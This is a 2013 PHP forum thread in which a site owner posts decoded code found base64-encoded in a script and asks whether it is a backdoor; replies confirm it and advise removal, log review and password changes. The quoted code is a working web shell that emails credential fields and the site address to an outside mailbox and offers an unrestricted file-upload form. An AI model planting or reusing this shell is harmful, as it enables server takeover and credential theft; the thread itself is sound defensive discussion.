catherinePHP Posted April 24, 2013 Share Posted April 24, 2013 I found this code which was encrypted in base64 in a php script: $web = $_SERVER["HTTP_HOST"]; $inj = $_SERVER["REQUEST_URI"]; $body = "Egy_Spider \nUserName: ".htmlspecialchars($tacfgd['uname']) ."\nPassWord: ".htmlspecialchars($tacfgd['pword'])."\nMessage:\n"."\nE-server: ".htmlspecialchars ($_SERVER['REQUEST_URI'])."\nE-server2: ".htmlspecialchars ($_SERVER["SERVER_NAME"])."\n\nIP: "; mail("[email protected]","Shell http://$web$inj", "$body"); echo '<b><br><br>'.php_uname().'<br></b>'; echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">'; echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>'; if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload BY akas06 [at] hackermail.com !!!</b><br><br>'; } else { echo '<b>Upload BY akas06 [at] hackermail.com !!!</b><br><br>'; } } ?> I'm not sure if it's a backdoor or not, can anyone clarify please? Link to comment https://forums.phpfreaks.com/topic/277253-is-this-a-backdoor-code/ Share on other sites More sharing options...
shlumph Posted April 24, 2013 Share Posted April 24, 2013 Yes, it is a malicious script. It's sending email notifications to them to let them know the script made it onto your site. And then they are using the form to upload files into your server, which are probably malicious. If it was encrypted with base_64, that should be a huge red flag. Link to comment https://forums.phpfreaks.com/topic/277253-is-this-a-backdoor-code/#findComment-1426322 Share on other sites More sharing options...
catherinePHP Posted April 24, 2013 Author Share Posted April 24, 2013 Yes, it is a malicious script. It's sending email notifications to them to let them know the script made it onto your site. And then they are using the form to upload files into your server, which are probably malicious. If it was encrypted with base_64, that should be a huge red flag. Thanks for the quick reply. Link to comment https://forums.phpfreaks.com/topic/277253-is-this-a-backdoor-code/#findComment-1426324 Share on other sites More sharing options...
shlumph Posted April 24, 2013 Share Posted April 24, 2013 I hope you've removed it from your server. I would also look for other base_64 encoded strings on your system(s), analyze all your logs, and find what, if any, files have been uploaded. Link to comment https://forums.phpfreaks.com/topic/277253-is-this-a-backdoor-code/#findComment-1426326 Share on other sites More sharing options...
Psycho Posted April 24, 2013 Share Posted April 24, 2013 And, change all passwords: ftp, database, etc. Link to comment https://forums.phpfreaks.com/topic/277253-is-this-a-backdoor-code/#findComment-1426342 Share on other sites More sharing options...
catherinePHP Posted April 24, 2013 Author Share Posted April 24, 2013 Thanks for the reply guys, I have removed it from my server and changed all passwords Link to comment https://forums.phpfreaks.com/topic/277253-is-this-a-backdoor-code/#findComment-1426358 Share on other sites More sharing options...
Recommended Posts
Archived
This topic is now archived and is closed to further replies.